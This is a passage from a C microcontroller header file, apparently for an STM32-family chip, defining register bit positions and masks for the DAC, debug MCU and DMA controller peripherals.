DAC_DHR12L2_DACC2DHR_Pos) /*!< 0x0000FFF0 */ #define DAC_DHR12L2_DACC2DHR DAC_DHR12L2_DACC2DHR_Msk /*!< DAC channel2 12-bit Left aligned data */ /****************** Bit definition for DAC_DHR8R2 register ******************/ #define DAC_DHR8R2_DACC2DHR_Pos (0U) #define DAC_DHR8R2_DACC2DHR_Msk (0xFFU << DAC_DHR8R2_DACC2DHR_Pos) /*!< 0x000000FF */ #define DAC_DHR8R2_DACC2DHR DAC_DHR8R2_DACC2DHR_Msk /*!< DAC channel2 8-bit Right aligned data */ /***************** Bit definition for DAC_DHR12RD register ******************/ #define DAC_DHR12RD_DACC1DHR_Pos (0U) #define DAC_DHR12RD_DACC1DHR_Msk (0xFFFU << DAC_DHR12RD_DACC1DHR_Pos) /*!< 0x00000FFF */ #define DAC_DHR12RD_DACC1DHR DAC_DHR12RD_DACC1DHR_Msk /*!< DAC channel1 12-bit Right aligned data */ #define DAC_DHR12RD_DACC2DHR_Pos (16U) #define DAC_DHR12RD_DACC2DHR_Msk (0xFFFU << DAC_DHR12RD_DACC2DHR_Pos) /*!< 0x0FFF0000 */ #define DAC_DHR12RD_DACC2DHR DAC_DHR12RD_DACC2DHR_Msk /*!< DAC channel2 12-bit Right aligned data */ /***************** Bit definition for DAC_DHR12LD register ******************/ #define DAC_DHR12LD_DACC1DHR_Pos (4U) #define DAC_DHR12LD_DACC1DHR_Msk (0xFFFU << DAC_DHR12LD_DACC1DHR_Pos) /*!< 0x0000FFF0 */ #define DAC_DHR12LD_DACC1DHR DAC_DHR12LD_DACC1DHR_Msk /*!< DAC channel1 12-bit Left aligned data */ #define DAC_DHR12LD_DACC2DHR_Pos (20U) #define DAC_DHR12LD_DACC2DHR_Msk (0xFFFU << DAC_DHR12LD_DACC2DHR_Pos) /*!< 0xFFF00000 */ #define DAC_DHR12LD_DACC2DHR DAC_DHR12LD_DACC2DHR_Msk /*!< DAC channel2 12-bit Left aligned data */ /****************** Bit definition for DAC_DHR8RD register ******************/ #define DAC_DHR8RD_DACC1DHR_Pos (0U) #define DAC_DHR8RD_DACC1DHR_Msk (0xFFU << DAC_DHR8RD_DACC1DHR_Pos) /*!< 0x000000FF */ #define DAC_DHR8RD_DACC1DHR DAC_DHR8RD_DACC1DHR_Msk /*!< DAC channel1 8-bit Right aligned data */ #define DAC_DHR8RD_DACC2DHR_Pos (8U) #define DAC_DHR8RD_DACC2DHR_Msk (0xFFU << DAC_DHR8RD_DACC2DHR_Pos) /*!< 0x0000FF00 */ #define DAC_DHR8RD_DACC2DHR DAC_DHR8RD_DACC2DHR_Msk /*!< DAC channel2 8-bit Right aligned data */ /******************* Bit definition for DAC_DOR1 register *******************/ #define DAC_DOR1_DACC1DOR_Pos (0U) #define DAC_DOR1_DACC1DOR_Msk (0xFFFU << DAC_DOR1_DACC1DOR_Pos) /*!< 0x00000FFF */ #define DAC_DOR1_DACC1DOR DAC_DOR1_DACC1DOR_Msk /*!< DAC channel1 data output */ /******************* Bit definition for DAC_DOR2 register *******************/ #define DAC_DOR2_DACC2DOR_Pos (0U) #define DAC_DOR2_DACC2DOR_Msk (0xFFFU << DAC_DOR2_DACC2DOR_Pos) /*!< 0x00000FFF */ #define DAC_DOR2_DACC2DOR DAC_DOR2_DACC2DOR_Msk /*!< DAC channel2 data output */ /******************** Bit definition for DAC_SR register ********************/ #define DAC_SR_DMAUDR1_Pos (13U) #define DAC_SR_DMAUDR1_Msk (0x1U << DAC_SR_DMAUDR1_Pos) /*!< 0x00002000 */ #define DAC_SR_DMAUDR1 DAC_SR_DMAUDR1_Msk /*!< DAC channel1 DMA underrun flag */ #define DAC_SR_DMAUDR2_Pos (29U) #define DAC_SR_DMAUDR2_Msk (0x1U << DAC_SR_DMAUDR2_Pos) /*!< 0x20000000 */ #define DAC_SR_DMAUDR2 DAC_SR_DMAUDR2_Msk /*!< DAC channel2 DMA underrun flag */ /******************************************************************************/ /* */ /* Debug MCU (DBGMCU) */ /* */ /******************************************************************************/ /******************** Bit definition for DBGMCU_IDCODE register *************/ #define DBGMCU_IDCODE_DEV_ID_Pos (0U) #define DBGMCU_IDCODE_DEV_ID_Msk (0xFFFU << DBGMCU_IDCODE_DEV_ID_Pos) /*!< 0x00000FFF */ #define DBGMCU_IDCODE_DEV_ID DBGMCU_IDCODE_DEV_ID_Msk #define DBGMCU_IDCODE_REV_ID_Pos (16U) #define DBGMCU_IDCODE_REV_ID_Msk (0xFFFFU << DBGMCU_IDCODE_REV_ID_Pos) /*!< 0xFFFF0000 */ #define DBGMCU_IDCODE_REV_ID DBGMCU_IDCODE_REV_ID_Msk /******************** Bit definition for DBGMCU_CR register *****************/ #define DBGMCU_CR_DBG_SLEEP_Pos (0U) #define DBGMCU_CR_DBG_SLEEP_Msk (0x1U << DBGMCU_CR_DBG_SLEEP_Pos) /*!< 0x00000001 */ #define DBGMCU_CR_DBG_SLEEP DBGMCU_CR_DBG_SLEEP_Msk #define DBGMCU_CR_DBG_STOP_Pos (1U) #define DBGMCU_CR_DBG_STOP_Msk (0x1U << DBGMCU_CR_DBG_STOP_Pos) /*!< 0x00000002 */ #define DBGMCU_CR_DBG_STOP DBGMCU_CR_DBG_STOP_Msk #define DBGMCU_CR_DBG_STANDBY_Pos (2U) #define DBGMCU_CR_DBG_STANDBY_Msk (0x1U << DBGMCU_CR_DBG_STANDBY_Pos) /*!< 0x00000004 */ #define DBGMCU_CR_DBG_STANDBY DBGMCU_CR_DBG_STANDBY_Msk #define DBGMCU_CR_TRACE_IOEN_Pos (5U) #define DBGMCU_CR_TRACE_IOEN_Msk (0x1U << DBGMCU_CR_TRACE_IOEN_Pos) /*!< 0x00000020 */ #define DBGMCU_CR_TRACE_IOEN DBGMCU_CR_TRACE_IOEN_Msk #define DBGMCU_CR_TRACE_MODE_Pos (6U) #define DBGMCU_CR_TRACE_MODE_Msk (0x3U << DBGMCU_CR_TRACE_MODE_Pos) /*!< 0x000000C0 */ #define DBGMCU_CR_TRACE_MODE DBGMCU_CR_TRACE_MODE_Msk #define DBGMCU_CR_TRACE_MODE_0 (0x1U << DBGMCU_CR_TRACE_MODE_Pos) /*!< 0x00000040 */ #define DBGMCU_CR_TRACE_MODE_1 (0x2U << DBGMCU_CR_TRACE_MODE_Pos) /*!< 0x00000080 */ /******************** Bit definition for DBGMCU_APB1_FZ register ************/ #define DBGMCU_APB1_FZ_DBG_TIM2_STOP_Pos (0U) #define DBGMCU_APB1_FZ_DBG_TIM2_STOP_Msk (0x1U << DBGMCU_APB1_FZ_DBG_TIM2_STOP_Pos) /*!< 0x00000001 */ #define DBGMCU_APB1_FZ_DBG_TIM2_STOP DBGMCU_APB1_FZ_DBG_TIM2_STOP_Msk #define DBGMCU_APB1_FZ_DBG_TIM3_STOP_Pos (1U) #define DBGMCU_APB1_FZ_DBG_TIM3_STOP_Msk (0x1U << DBGMCU_APB1_FZ_DBG_TIM3_STOP_Pos) /*!< 0x00000002 */ #define DBGMCU_APB1_FZ_DBG_TIM3_STOP DBGMCU_APB1_FZ_DBG_TIM3_STOP_Msk #define DBGMCU_APB1_FZ_DBG_TIM6_STOP_Pos (4U) #define DBGMCU_APB1_FZ_DBG_TIM6_STOP_Msk (0x1U << DBGMCU_APB1_FZ_DBG_TIM6_STOP_Pos) /*!< 0x00000010 */ #define DBGMCU_APB1_FZ_DBG_TIM6_STOP DBGMCU_APB1_FZ_DBG_TIM6_STOP_Msk #define DBGMCU_APB1_FZ_DBG_TIM7_STOP_Pos (5U) #define DBGMCU_APB1_FZ_DBG_TIM7_STOP_Msk (0x1U << DBGMCU_APB1_FZ_DBG_TIM7_STOP_Pos) /*!< 0x00000020 */ #define DBGMCU_APB1_FZ_DBG_TIM7_STOP DBGMCU_APB1_FZ_DBG_TIM7_STOP_Msk #define DBGMCU_APB1_FZ_DBG_RTC_STOP_Pos (10U) #define DBGMCU_APB1_FZ_DBG_RTC_STOP_Msk (0x1U << DBGMCU_APB1_FZ_DBG_RTC_STOP_Pos) /*!< 0x00000400 */ #define DBGMCU_APB1_FZ_DBG_RTC_STOP DBGMCU_APB1_FZ_DBG_RTC_STOP_Msk #define DBGMCU_APB1_FZ_DBG_WWDG_STOP_Pos (11U) #define DBGMCU_APB1_FZ_DBG_WWDG_STOP_Msk (0x1U << DBGMCU_APB1_FZ_DBG_WWDG_STOP_Pos) /*!< 0x00000800 */ #define DBGMCU_APB1_FZ_DBG_WWDG_STOP DBGMCU_APB1_FZ_DBG_WWDG_STOP_Msk #define DBGMCU_APB1_FZ_DBG_IWDG_STOP_Pos (12U) #define DBGMCU_APB1_FZ_DBG_IWDG_STOP_Msk (0x1U << DBGMCU_APB1_FZ_DBG_IWDG_STOP_Pos) /*!< 0x00001000 */ #define DBGMCU_APB1_FZ_DBG_IWDG_STOP DBGMCU_APB1_FZ_DBG_IWDG_STOP_Msk #define DBGMCU_APB1_FZ_DBG_I2C1_SMBUS_TIMEOUT_Pos (21U) #define DBGMCU_APB1_FZ_DBG_I2C1_SMBUS_TIMEOUT_Msk (0x1U << DBGMCU_APB1_FZ_DBG_I2C1_SMBUS_TIMEOUT_Pos) /*!< 0x00200000 */ #define DBGMCU_APB1_FZ_DBG_I2C1_SMBUS_TIMEOUT DBGMCU_APB1_FZ_DBG_I2C1_SMBUS_TIMEOUT_Msk #define DBGMCU_APB1_FZ_DBG_CAN_STOP_Pos (25U) #define DBGMCU_APB1_FZ_DBG_CAN_STOP_Msk (0x1U << DBGMCU_APB1_FZ_DBG_CAN_STOP_Pos) /*!< 0x02000000 */ #define DBGMCU_APB1_FZ_DBG_CAN_STOP DBGMCU_APB1_FZ_DBG_CAN_STOP_Msk /******************** Bit definition for DBGMCU_APB2_FZ register ************/ #define DBGMCU_APB2_FZ_DBG_TIM1_STOP_Pos (0U) #define DBGMCU_APB2_FZ_DBG_TIM1_STOP_Msk (0x1U << DBGMCU_APB2_FZ_DBG_TIM1_STOP_Pos) /*!< 0x00000001 */ #define DBGMCU_APB2_FZ_DBG_TIM1_STOP DBGMCU_APB2_FZ_DBG_TIM1_STOP_Msk #define DBGMCU_APB2_FZ_DBG_TIM15_STOP_Pos (2U) #define DBGMCU_APB2_FZ_DBG_TIM15_STOP_Msk (0x1U << DBGMCU_APB2_FZ_DBG_TIM15_STOP_Pos) /*!< 0x00000004 */ #define DBGMCU_APB2_FZ_DBG_TIM15_STOP DBGMCU_APB2_FZ_DBG_TIM15_STOP_Msk #define DBGMCU_APB2_FZ_DBG_TIM16_STOP_Pos (3U) #define DBGMCU_APB2_FZ_DBG_TIM16_STOP_Msk (0x1U << DBGMCU_APB2_FZ_DBG_TIM16_STOP_Pos) /*!< 0x00000008 */ #define DBGMCU_APB2_FZ_DBG_TIM16_STOP DBGMCU_APB2_FZ_DBG_TIM16_STOP_Msk #define DBGMCU_APB2_FZ_DBG_TIM17_STOP_Pos (4U) #define DBGMCU_APB2_FZ_DBG_TIM17_STOP_Msk (0x1U << DBGMCU_APB2_FZ_DBG_TIM17_STOP_Pos) /*!< 0x00000010 */ #define DBGMCU_APB2_FZ_DBG_TIM17_STOP DBGMCU_APB2_FZ_DBG_TIM17_STOP_Msk /******************************************************************************/ /* */ /* DMA Controller (DMA) */ /* */ /******************************************************************************/ /******************* Bit definition for DMA_ISR register ********************/ #define DMA_ISR_GIF1_Pos (0U) #define DMA_ISR_GIF1_Msk (0x1U << DMA_ISR_GIF1_Pos) /*!< 0x00000001 */ #define DMA_ISR_GIF1 DMA_ISR_GIF1_Msk /*!< Channel 1 Global interrupt flag */ #define DMA_ISR_TCIF1_Pos (1U) #define DMA_ISR_TCIF1_Msk (0x1U << DMA_ISR_TCIF1_Pos) /*!< 0x00000002 */ #define DMA_ISR_TCIF1 DMA_ISR_TCIF1_Msk /*!< Channel 1 Transfer Complete flag */ #define DMA_ISR_HTIF1_Pos (2U) #define DMA_ISR_HTIF1_Msk (0x1U << DMA_ISR_HTIF1_Pos) /*!< 0x00000004 */ #define DMA_ISR_HTIF1 DMA_ISR_HTIF1_Msk /*!< Channel 1 Half Transfer flag */ #define DMA_ISR_TEIF1_Pos (3U) #define DMA_ISR_TEIF1_Msk (0x1U << DMA_ISR_TEIF1_Pos) /*!< 0x00000008 */ #define DMA_ISR_TEIF1 DMA_ISR_TEIF1_Msk /*!< Channel 1 Transfer Error flag */ #define DMA_ISR_GIF2_Pos (4U) #define DMA_ISR_GIF2_Msk (0x1U << DMA_ISR_GIF2_Pos) /*!< 0x00000010 */ #define DMA_ISR_GIF2 DMA_ISR_GIF2_Msk /*!< Channel 2 Global interrupt flag */ #define DMA_ISR_TCIF2_Pos (5U) #define DMA_ISR_TCIF2_Msk (0x1U << DMA_ISR_TCIF2_Pos) /*!< 0x00000020 */ #define DMA_ISR_TCIF2 DMA_ISR_TCIF2_Msk /*!< Channel 2 Transfer Complete flag */ #define DMA_ISR_HTIF2_Pos (6U) #define DMA_ISR_HTIF2_Msk (0x1U << DMA_ISR_HTIF2_Pos) /*!< 0x00000040 */ #define DMA_ISR_HTIF2 DMA_ISR_HTIF2_Msk /*!< Channel 2 Half Transfer flag */ #define DMA_ISR_TEIF2_Pos (7U) #define DMA_ISR_TEIF2_Msk (0x1U << DMA_ISR_TEIF2_Pos) /*!< 0x00000080 */ #define DMA_ISR_TEIF2 DMA_ISR_TEIF2_Msk /*!< Channel 2 Transfer Error flag */ #define DMA_ISR_GIF3_Pos (8U) #define DMA_ISR_GIF3_Msk (0x1U << DMA_ISR_GIF3_Pos) /*!< 0x00000100 */ #define DMA_ISR_GIF3 DMA_ISR_GIF3_Msk /*!< Channel 3 Global interrupt flag */ #define DMA_ISR_TCIF3_Pos (9U) #define DMA_ISR_TCIF3_Msk (0x1U << DMA_ISR_TCIF3_Pos) /*!< 0x00000200 */ #define DMA_ISR_TCIF3 DMA_ISR_TCIF3_Msk /*!< Channel 3 Transfer Complete flag */ #define DMA_ISR_HTIF3_Pos (10U) #define DMA_ISR_HTIF3_Msk (0x1U << DMA_ISR_HTIF3_Pos) /*!< 0x00000400 */ #define DMA_ISR_HTIF3 DMA_ISR_HTIF3_Msk /*!< Channel 3 Half Transfer flag */ #define DMA_ISR_TEIF3_Pos (11U) #define DMA_ISR_TEIF3_Msk (0x1U << DMA_ISR_TEIF3_Pos) /*!< 0x00000800 */ #define DMA_ISR_TEIF3 DMA_ISR_TEIF3_Msk /*!< Channel 3 Transfer Error flag */ #define DMA_ISR_GIF4_Pos (12U) #define DMA_ISR_GIF4_Msk (0x1U << DMA_ISR_GIF4_Pos) /*!< 0x00001000 */ #define DMA_ISR_GIF4 DMA_ISR_GIF4_Msk /*!< Channel 4 Global interrupt flag */ #define DMA_ISR_TCIF4_Pos (13U) #define DMA_ISR_TCIF4_Msk (0x1U << DMA_ISR_TCIF4_Pos) /*!< 0x00002000 */ #define DMA_ISR_TCIF4 DMA_ISR_TCIF4_Msk /*!< Channel 4 Transfer Complete flag */ #define DMA_ISR_HTIF4_Pos (14U) #define DMA_ISR_HTIF4_Msk (0x1U << DMA_ISR_HTIF4_Pos) /*!< 0x00004000 */ #define DMA_ISR_HTIF4 DMA_ISR_HTIF4_Msk /*!< Channel 4 Half Transfer flag */ #define DMA_ISR_TEIF4_Pos (15U) #define DMA_ISR_TEIF4_Msk (0x1U << DMA_ISR_TEIF4_Pos) /*!< 0x00008000 */ #define DMA_ISR_TEIF4 DMA_ISR_TEIF4_Msk /*!< Channel 4 Transfer Error flag */ #define DMA_ISR_GIF5_Pos (16U) #define DMA_ISR_GIF5_Msk (0x1U << DMA_ISR_GIF5_Pos) /*!< 0x00010000 */ #define DMA_ISR_GIF5 DMA_ISR_GIF5_Msk /*!< Channel 5 Global interrupt flag */ #define DMA_ISR_TCIF5_Pos (17U) #define DMA_ISR_TCIF5_Msk (0x1U << DMA_ISR_TCIF5_Pos) /*!< 0x00020000 */ #define DMA_ISR_TCIF5 DMA_ISR_TCIF5_Msk /*!< Channel 5 Transfer Complete flag */ #define DMA_ISR_HTIF5_Pos (18U) #define DMA_ISR_HTIF5_Msk (0x1U << DMA_ISR_HTIF5_Pos) /*!< 0x00040000 */ #define DMA_ISR_HTIF5 DMA_ISR_HTIF5_Msk /*!< Channel 5 Half Transfer flag */ #define DMA_ISR_TEIF5_Pos (19U) #define DMA_ISR_TEIF5_Msk (0x1U << DMA_ISR_TEIF5_Pos) /*!< 0x00080000 */ #define DMA_ISR_TEIF5 DMA_ISR_TEIF5_Msk /*!< Channel 5 Transfer Error flag */ #define DMA_ISR_GIF6_Pos (20U) #define DMA_ISR_GIF6_Msk (0x1U << DMA_ISR_GIF6_Pos) /*!< 0x00100000 */ #define DMA_ISR_GIF6 DMA_ISR_GIF6_Msk /*!< Channel 6 Global interrupt flag */ #define DMA_ISR_TCIF6_Pos (21U) #define DMA_ISR_TCIF6_Msk (0x1U << DMA_ISR_TCIF6_Pos) /*!< 0x00200000 */ #define DMA_ISR_TCIF6 DMA_ISR_TCIF6_Msk /*!< Channel 6 Transfer Complete flag */ #define DMA_ISR_HTIF6_Pos (22U) #define DMA_ISR_HTIF6_Msk (0x1U << DMA_ISR_HTIF6_Pos) /*!< 0x00400000 */ #define DMA_ISR_HTIF6 DMA_ISR_HTIF6_Msk /*!< Channel 6 Half Transfer flag */ #define DMA_ISR_TEIF6_Pos (23U) #define DMA_ISR_TEIF6_Msk (0x1U << DMA_ISR_TEIF6_Pos) /*!< 0x00800000 */ #define DMA_ISR_TEIF6 DMA_ISR_TEIF6_Msk /*!< Channel 6 Transfer Error flag */ #define DMA_ISR_GIF7_Pos (24U) #define DMA_ISR_GIF7_Msk (0x1U << DMA_ISR_GIF7_Pos) /*!< 0x01000000 */ #define DMA_ISR_GIF7 DMA_ISR_GIF7_Msk /*!< Channel 7 Global interrupt flag */ #define DMA_ISR_TCIF7_Pos (25U) #define DMA_ISR_TCIF7_Msk (0x1U << DMA_ISR_TCIF7_Pos) /*!< 0x02000000 */ #define DMA_ISR_TCIF7 DMA_ISR_TCIF7_Msk /*!< Channel 7 Transfer Complete flag */ #define DMA_ISR_HTIF7_Pos (26U) #define DMA_ISR_HTIF7_Msk (0x1U << DMA_ISR_HTIF7_Pos) /*!< 0x04000000 */ #define DMA_ISR_HTIF7 DMA_ISR_HTIF7_Msk /*!< Channel 7 Half Transfer flag */ #define DMA_ISR_TEIF7_Pos (27U) #define DMA_ISR_TEIF7_Msk (0x1U << DMA_ISR_TEIF7_Pos) /*!< 0x08000000 */ #define DMA_ISR_TEIF7 DMA_ISR_TEIF7_Msk /*!< Channel 7 Transfer Error flag */ /******************* Bit definition for DMA_IFCR register *******************/ #define DMA_IFCR_CGIF1_Pos (0U) #define DMA_IFCR_CGIF1_Msk (0x1U << DMA_IFCR_CGIF1_Pos) /*!< 0x00000001 */ #define DMA_IFCR_CGIF1 DMA_IFCR_CGIF1_Msk /*!< Channel 1 Global interrupt clear */ #define DMA_IFCR_CTCIF1_Pos (1U) #define DMA_IFCR_CTCIF1_Msk (0x1U << DMA_IFCR_CTCIF1_Pos) /*!< 0x00000002 */ #define DMA_IFCR_CTCIF1 DMA_IFCR_CTCIF1_Msk /*!< Channel 1 Transfer Complete clear */ #define DMA_IFCR_CHTIF1_Pos (2U) #define DMA_IFCR_CHTIF1_Msk (0x1U << DMA_IFCR_CHTIF1_Pos) /*!< 0x00000004 */ #define DMA_IFCR_CHTIF1 DMA_IFCR_CHTIF1_Msk /*!< Channel 1 Half Transfer clear */ #define DMA_IFCR_CTEIF1_Pos (3U) #define DMA_IFCR_CTEIF1_Msk (0x1U << DMA_IFCR_CTEIF1_Pos) /*!< 0x00000008 */ #define DMA_IFCR_CTEIF1 DMA_IFCR_CTEIF1_Msk /*!< Channel 1 Transfer Error clear */ #define DMA_IFCR_CGIF2_Pos (4U) #define DMA_IFCR_CGIF2_Msk (0x1U << DMA_IFCR_CGIF2_Pos) /*!< 0x00000010 */ #define DMA_IFCR_CGIF2 DMA_IFCR_CGIF2_Msk /*!< Channel 2 Global interrupt clear */ #define DMA_IFCR_CTCIF2_Pos (5U) #define DMA_IFCR_CTCIF2_Msk (0x1U << DMA_IFCR_CTCIF2_Pos) /*!< 0x00000020 */ #define DMA_IFCR_CTCIF2 DMA_IFCR_CTCIF2_Msk /*!< Channel 2 Transfer Complete clear */ #define DMA_IFCR_CHTIF2_Pos (6U) #define DMA_IFCR_CHTIF2_Msk (0x1U << DMA_IFCR_CHTIF2_Pos) /*!< 0x00000040 */ #define DMA_IFCR_CHTIF2 DMA_IFCR_CHTIF2_Msk /*!< Channel 2 Half Transfer clear */ #define DMA_IFCR_CTEIF2_Pos (7U) #define DMA_IFCR_CTEIF2_Msk (0x1U << DMA_IFCR_CTEIF2_Pos) /*!< 0x00000080 */ #define DMA_IFCR_CTEIF2 DMA_IFCR_CTEIF2_Msk /*!< Channel 2 Transfer Error clear */ #define DMA_IFCR_CGIF3_Pos (8U) #define DMA_IFCR_CGIF3_Msk (0x1U << DMA_IFCR_CGIF3_Pos) /*!< 0x00000100 */ #define DMA_IFCR_CGIF3 DMA_IFCR_CGIF3_Msk /*!< Channel 3 Global interrupt clear */ #define DMA_IFCR_CTCIF3_Pos (9U) #define DMA_IFCR_CTCIF3_Msk (0x1U << DMA_IFCR_CTCIF3_Pos) /*!< 0x00000200 */ #define DMA_IFCR_CTCIF3 DMA_IFCR_CTCIF3_Msk /*!< Channel 3 Transfer Complete clear */ #define DMA_IFCR_CHTIF3_Pos (10U) #define DMA_IFCR_CHTIF3_Msk (0x1U << DMA_IFCR_CHTIF3_Pos) /*!< 0x00000400 */ #define DMA_IFCR_CHTIF3 DMA_IFCR_CHTIF3_Msk /*!< Channel 3 Half Transfer clear */ #define DMA_IFCR_CTEIF3_Pos (11U) #define DMA_IFCR_CTEIF3_Msk (0x1U << DMA_IFCR_CTEIF3_Pos) /*!< 0x00000800 */ #define DMA_IFCR_CTEIF3 DMA_IFCR_CTEIF3_Msk /*!< Channel 3 Transfer Error clear */ #define DMA_IFCR_CGIF4_Pos (12U) #define DMA_IFCR_CGIF4_Msk (0x1U << DMA_IFCR_CGIF4_Pos) /*!< 0x00001000 */ #define DMA_IFCR_CGIF4 DMA_IFCR_CGIF4_Msk /*!< Channel 4 Global interrupt clear */ #define DMA_IFCR_CTCIF4_Pos (13U) #define DMA_IFCR_CTCIF4_Msk (0x1U << DMA_IFCR_CTCIF4_Pos) /*!< 0x00002000 */ #define DMA_IFCR_CTCIF4 DMA_IFCR_CTCIF4_Msk /*!< Channel 4 Transfer Complete clear */ #define DMA_IFCR_CHTIF4_Pos (14U) #define DMA_IFCR_CHTIF4_Msk (0x1U << DMA_IFCR_CHTIF4_Pos) /*!< 0x00004000 */ #define DMA_IFCR_CHTIF4 DMA_IFCR_CHTIF4_Msk /*!< Channel 4 Half Transfer clear */ #define DMA_IFCR_CTEIF4_Pos (15U) #define DMA_IFCR_CTEIF4_Msk (0x1U << DMA_IFCR_CTEIF4_Pos) /*!< 0x00008000 */ #define DMA_IFCR_CTEIF4 DMA_IFCR_CTEIF4_Msk /*!< Channel 4 Transfer Error clear */ #define DMA_IFCR_CGIF5_Pos (16U) #define DMA_IFCR_CGIF5_Msk (0x1U << DMA_IFCR_CGIF5_Pos) /*!< 0x00010000 */ #define DMA_IFCR_CGIF5 DMA_IFCR_CGIF5_Msk /*!< Channel 5 Global interrupt clear */ #define DMA_IFCR_CTCIF5_Pos (17U) #define DMA_IFCR_CTCIF5_Msk (0x1U << DMA_IFCR_CTCIF5_Pos) /*!< 0x00020000 */ #define DMA_IFCR_CTCIF5 DMA_IFCR_CTCIF5_Msk /*!< Channel 5 Transfer Complete clear */ #define DMA_IFCR_CHTIF5_Pos (18U) #define DMA_IFCR_CHTIF5_Msk (0x1U << DMA_IFCR_CHTIF5_Pos) /*!< 0x00040000 */ #define DMA_IFCR_CHTIF5 DMA_IFCR_CHTIF5_Msk /*!< Channel 5 Half Transfer clear */ #define DMA_IFCR_CTEIF5_Pos (19U) #define DMA_IFCR_CTEIF5_Msk (0x1U << DMA_IFCR_CTEIF5_Pos) /*!< 0x00080000 */ #define DMA_IFCR_CTEIF5 DMA_IFCR_CTEIF5_Msk /*!< Channel 5 Transfer Error clear */ #define DMA_IFCR_CGIF6_Pos (20U) #define DMA_IFCR_CGIF6_Msk (0x1U << DMA_IFCR_CGIF6_Pos) /*!< 0x00100000 */ #define DMA_IFCR_CGIF6 DMA_IFCR_CGIF6_Msk /*!< Channel 6 Global interrupt clear */ #define DMA_IFCR_CTCIF6_Pos (21U) #define DMA_IFCR_CTCIF6_Msk (0x1U << DMA_IFCR_CTCIF6_Pos) /*!< 0x00200000 */ #define DMA_IFCR_CTCIF6 DMA_IFCR_CTCIF6_Msk /*!< Channel 6 Transfer Complete clear */ #define DMA_IFCR_CHTIF6_Pos (22U) #define DMA_IFCR_CHTIF6_Msk (0x1U << DMA_IFCR_CHTIF6_Pos) /*!< 0x00400000 */ #define DMA_IFCR_CHTIF6 DMA_IFCR_CHTIF6_Msk /*!< Channel 6 Half Transfer clear */ #define DMA_IFCR_CTEIF6_Pos (23U) #define DMA_IFCR_CTEIF6_Msk (0x1U << DMA_IFCR_CTEIF6_Pos) /*!< 0x00800000 */ #define DMA_IFCR_CTEIF6 DMA_IFCR_CTEIF6_Msk /*!< Channel 6 Transfer Error clear */ #define DMA_IFCR_CGIF7_Pos (24U) #define DMA_IFCR_CGIF7_Msk (0x1U << DMA_IFCR_CGIF7_Pos) /*!< 0x01000000 */ #define DMA_IFCR_CGIF7 DMA_IFCR_CGIF7_Msk /*!< Channel 7 Global interrupt clear */ #define DMA_IFCR_CTCIF7_Pos (25U) #define DMA_IFCR_CTCIF7_Msk (0x1U << DMA_IFCR_CTCIF7_Pos) /*!< 0x02000000 */ #define DMA_IFCR_CTCIF7 DMA_IFCR_CTCIF7_Msk /*!< Channel 7 Transfer Complete clear */ #define DMA_IFCR_CHTIF7_Pos (26U) #define DMA_IFCR_CHTIF7_Msk (0x1U << DMA_IFCR_CHTIF7_Pos) /*!< 0x04000000 */ #define DMA_IFCR_CHTIF7 DMA_IFCR_CHTIF7_Msk /*!< Channel 7 Half Transfer clear */ #define DMA_IFCR_CTEIF7_Pos (27U) #define DMA_IFCR_CTEIF7_Msk (0x1U << DMA_IFCR_CTEIF7_Pos) /*!< 0x08000000 */ #define DMA_IFCR_CTEIF7 DMA_IFCR_CTEIF7_Msk /*!< Channel 7 Transfer Error clear */ /******************* Bit definition for DMA_CCR register ********************/ #define DMA_CCR_EN_Pos (0U) #define DMA_CCR_EN_Msk (0x1U << DMA_CCR_EN_Pos) /*!< 0x00000001 */ #define DMA_CCR_EN DMA_CCR_EN_Msk /*!< Channel enable */ #define DMA_CCR_TCIE_Pos (1U) #define DMA_CCR_TCIE_Msk (0x1U << DMA_CCR_TCIE_Pos) /*!< 0x00000002 */ #define DMA_CCR_TCIE DMA_CCR_TCIE_Msk /*!< Transfer complete interrupt enable */ #define DMA_CCR_HTIE_Pos (2U) #define DMA_CCR_HTIE_Msk (0x1U << DMA_CCR_HTIE_Pos) /*!< 0x00000004 */ #define DMA_CCR_HTIE DMA_CCR_HTIE_Msk /*!< Half Transfer interrupt enable */ #define DMA_CCR_TEIE_Pos (3U) #define DMA_CCR_TEIE_Msk (0x1U << DMA_CCR_TEIE_Pos) /*!< 0x00000008 */ #define DMA_CCR_TEIE DMA_CCR_TEIE_Msk /*!< Transfer error interrupt enable */ #define DMA_CCR_DIR_Pos (4U) #define DMA_CCR_DIR_Msk (0x1U << DMA_CCR_DIR_Pos) /*!< 0x00000010 */ #define DMA_CCR_DIR DMA_CCR_DIR_Msk /*!< Data transfer direction */ #define DMA_CCR_CIRC_Pos (5U) #define DMA_CCR_CIRC_Msk (0x1U << DMA_CCR_CIRC_Pos) /*!< 0x00000020 */ #define DMA_CCR_CIRC DMA_CCR_CIRC_Msk /*!< Circular mode */ #define DMA_CCR_PINC_Pos (6U) #define DMA_CCR_PINC_Msk (0x1U << DMA_CCR_PINC_Pos) /*!< 0x00000040 */ #define DMA_CCR_PINC DMA_CCR_PINC_Msk /*!< Peripheral increment mode */ #define DMA_CCR_MINC_Pos (7U) #define DMA_CCR_MINC_Msk (0x1U << DMA_CCR_MINC_Pos) /*!< 0x00000080 */ #define DMA_CCR_MINC DMA_CCR_MINC_Msk /*!< Memory increment mode */ #define DMA_CCR_PSIZE_Pos (8U) #define DMA_CCR_PSIZE_Msk (0x3U << DMA_CCR_PSIZE_Pos) /*!< 0x00000300 */ #define DMA_CCR_PSIZE DMA_CCR_PSIZE_Msk /*!< PSIZE[1:0] bits (Peripheral size) */ #define DMA_CCR_PSIZE_0 (0x1U << DMA_CCR_PSIZE_Pos) /*!< 0x00000100 */ #define DMA_CCR_PSIZE_1 (0x2U << DMA_CCR_PSIZE_Pos) /*!< 0x00000200 */ #define DMA_CCR_MSIZE_Pos (10U) #define DMA_CCR_MSIZE_Msk (0x3U << DMA_CCR_MSIZE_Pos) /*!< 0x00000C00 */ #define DMA_CCR_MSIZE DMA_CCR_MSIZE_Msk /*!< MSIZE[1:0] bits (Memory size) */ #define DMA_CCR_MSIZE_0 (0x1U << DMA_CCR_MSIZE_Pos) /*!< 0x00000400 */ #define DMA_CCR_MSIZE_1 (0x2U << DMA_CCR_MSIZE_Pos) /*!< 0x00000800 */ #define DMA_CCR_PL_Pos (12U) #define DMA_CCR_PL_Msk (0x3U << DMA_CCR_PL_Pos) /*!< 0x00003000 */ #define DMA_CCR_PL DMA_CCR_PL_Msk /*!< PL[1:0] bits(Channel Priority level)*/ #define DMA_CCR_PL_0 (0x1U << DMA_CCR_PL_Pos) /*!< 0x00001000 */ #define DMA_CCR_PL_1 (0x2U << 